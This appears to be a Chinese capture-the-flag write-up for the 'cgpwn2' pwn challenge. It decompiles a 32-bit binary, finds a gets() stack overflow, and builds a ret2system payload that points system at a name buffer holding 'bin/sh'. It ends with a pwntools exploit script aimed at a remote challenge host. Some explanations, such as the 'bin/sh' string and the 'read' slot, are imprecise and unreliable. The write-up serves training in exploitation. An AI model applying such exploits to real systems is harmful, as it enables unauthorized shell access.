题目:cgpwn2
拖进PE查看一下
32位程序
checksec查看
简单执行一下
开32位IDA
f5反编译main函数
main函数中直接就是输出了,输入的内容好像藏在了hello方法里
双击进去查看
单独拿出源码
char *hello()
{
char *v0; // eax@1
signed int v1; // ebx@1
unsigned int v2; // ecx@3
char *v3; // eax@5
char s; // [sp+12h] [bp-26h]@1
int v6; // [sp+14h] [bp-24h]@2
v0 = &s;
v1 = 30;
if ( (unsigned int)&s & 2 )
{
*(_WORD *)&s = 0;
v0 = (char *)&v6;
v1 = 28;
}
v2 = 0;
do
{
*(_DWORD *)&v0[v2] = 0;
v2 += 4;
}
while ( v2 < (v1 & 0xFFFFFFFC) );
v3 = &v0[v2];
if ( v1 & 2 )
{
*(_WORD *)v3 = 0;
v3 += 2;
}
if ( v1 & 1 )
*v3 = 0;
puts("please tell me your name");
fgets(name, 50, stdin);
puts("hello,you can leave some message here:");
return gets(&s);
}
可以看到程序的最后是gets一个s,get就相当于read,s是我们输入的message信息的存储变量,猜测是要把s的地址全打满然后让溢出的内容被get到,双击变量s进入栈内存查看其偏移
摘出其中的重要地址
00000026 s #变量s地址
00000000 s #基址指针
00000004 r #read操作
偏移总量为:0x00000026
- 0x00000000
+ 0x00000004
总共0x2A
个地址,也就是42个字符 ,payload的雏形是:payload = 'A'*42
或者payload = 'A'*0x2A
42个字符堵死s变量,溢出的内容给get,get到的应该是一个高权限的函数,去左侧找一下。
pwn函数能拿到system
找_system函数的地址:0x08048420
因此到目前为止payload的写法为:payload = ‘A’*0x2A + p32(0x08048420)
这样能让多余出来的内容溢出进get,从而让get拿到system,但在源码里的system需要一个command变量
于是shift + f12
搜索字符串,发现没有bin/sh字符串,但考虑到我们的程序能够输入两次内容,第一次是name,第二次是message,因此我们可以通过构造最开始的name溢出到system的command中
name地址:0x0804A080
知道了name地址有什么用?因为我们第一次输入的结果内容是存储在name这个地址里的,因此当我们的payload先后堵死42个字符并溢出进system函数并准备开始输入command的时候,我们把name的地址拼接在后面(前提我们已经在name的地址里输入了我们想要的bin/sh),这样就能让system执行对应的bin/sh权限
但同样注意一点,32位程序中,name地址作为一个变量值地址,其先后顺序是落后于函数的返回地址的,我们的main函数是return 0,也就是4个字符,先拼接上返回地址然后才是name地址,所以最终的payload拼接如下:
payload = 'A'*0x2A + p32(0x08048420) +p32(0) + p32(0x0804A080)
构造脚本:
from pwn import *
r = remote("220.249.52.133",59695)
r.sendline('bin/sh')
payload = 'A'*0x2A + p32(0x08048420) +p32(0) + p32(0x0804A080)
r.sendline(payload)
r.interactive()
执行: